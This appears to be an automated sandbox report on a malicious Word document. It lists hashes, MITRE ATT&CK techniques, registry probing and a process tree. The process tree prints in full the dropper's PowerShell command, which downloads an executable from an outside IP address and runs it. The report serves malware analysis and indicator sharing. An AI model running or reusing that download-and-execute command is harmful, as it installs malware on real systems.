e00b1af2bd049558b15f6c217524189501acfbedee80d1e02921eca7706fab4c

Analysis

max time kernel
187s
max time network
192s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
25-11-2022 11:28

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General

Target

e00b1af2bd049558b15f6c217524189501acfbedee80d1e02921eca7706fab4c.doc
Size

70KB
MD5

7a9018df7e4cde2acb0737a070dbe519
SHA1

c789cc7e2ac8cf7ad980f7bccdfdd2387882c541
SHA256

e00b1af2bd049558b15f6c217524189501acfbedee80d1e02921eca7706fab4c
SHA512

d3572392f3d933ba4cd5861d65cb4ef31d9b54f2f209d96e77e6c1780d939e59c266a1f2dbbbb6149f812370a991ba3038b6f830930a0719d25cc63c43ab6dcf
SSDEEP

768:aDzj4Obrw0lWN+0Mdnn2RX0wRtvxkZhlkLk2buRRV1ij3BVeyzBcawx7+elWjZxw:Szji0lWzMB8/xxDbue9BBSyZxV

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://23.95.23.202/v9y.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1744	3752	cmd.exe	WINWORD.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

102 4376 powershell.exe

flow	pid	process
102	4376	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3752 WINWORD.EXE
3752 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4376 powershell.exe
4376 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4376 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

3752 WINWORD.EXE
3752 WINWORD.EXE
3752 WINWORD.EXE
3752 WINWORD.EXE
3752 WINWORD.EXE
3752 WINWORD.EXE
3752 WINWORD.EXE

pid	process
3752	WINWORD.EXE
3752	WINWORD.EXE

pid	process
4376	powershell.exe
4376	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4376	powershell.exe

pid	process
3752	WINWORD.EXE
3752	WINWORD.EXE
3752	WINWORD.EXE
3752	WINWORD.EXE
3752	WINWORD.EXE
3752	WINWORD.EXE
3752	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXEcmd.exe

description	pid	process	target process
PID 3752 wrote to memory of 1744	3752	WINWORD.EXE	cmd.exe
PID 3752 wrote to memory of 1744	3752	WINWORD.EXE	cmd.exe
PID 1744 wrote to memory of 4376	1744	cmd.exe	powershell.exe
PID 1744 wrote to memory of 4376	1744	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\e00b1af2bd049558b15f6c217524189501acfbedee80d1e02921eca7706fab4c.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3752

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /S /C powershell -command "(new-object System.Net.WebClient).DownloadFile('http://23.95.23.202/v9y.exe', 'C:\Users\Admin\AppData\Local\Temp\v9y.exe')" && C:\Users\Admin\AppData\Local\Temp\v9y.exe
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1744

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "(new-object System.Net.WebClient).DownloadFile('http://23.95.23.202/v9y.exe', 'C:\Users\Admin\AppData\Local\Temp\v9y.exe')"
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4376

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1744-139-0x0000000000000000-mapping.dmp

Download
memory/3752-138-0x00007FFD60880000-0x00007FFD60890000-memory.dmp

Filesize
64KB

Download
memory/3752-134-0x00007FFD62AD0000-0x00007FFD62AE0000-memory.dmp

Filesize
64KB

Download
memory/3752-135-0x00007FFD62AD0000-0x00007FFD62AE0000-memory.dmp

Filesize
64KB

Download
memory/3752-136-0x00007FFD62AD0000-0x00007FFD62AE0000-memory.dmp

Filesize
64KB

Download
memory/3752-137-0x00007FFD60880000-0x00007FFD60890000-memory.dmp

Filesize
64KB

Download
memory/3752-132-0x00007FFD62AD0000-0x00007FFD62AE0000-memory.dmp

Filesize
64KB

Download
memory/3752-133-0x00007FFD62AD0000-0x00007FFD62AE0000-memory.dmp

Filesize
64KB

Download
memory/4376-140-0x0000000000000000-mapping.dmp

Download
memory/4376-141-0x000001FD78D00000-0x000001FD78D22000-memory.dmp

Filesize
136KB

Download
memory/4376-142-0x00007FFD76560000-0x00007FFD77021000-memory.dmp

Filesize
10.8MB

Download
memory/4376-143-0x00007FFD76560000-0x00007FFD77021000-memory.dmp

Filesize
10.8MB

Download
memory/4376-144-0x00007FFD76560000-0x00007FFD77021000-memory.dmp

Filesize
10.8MB

Download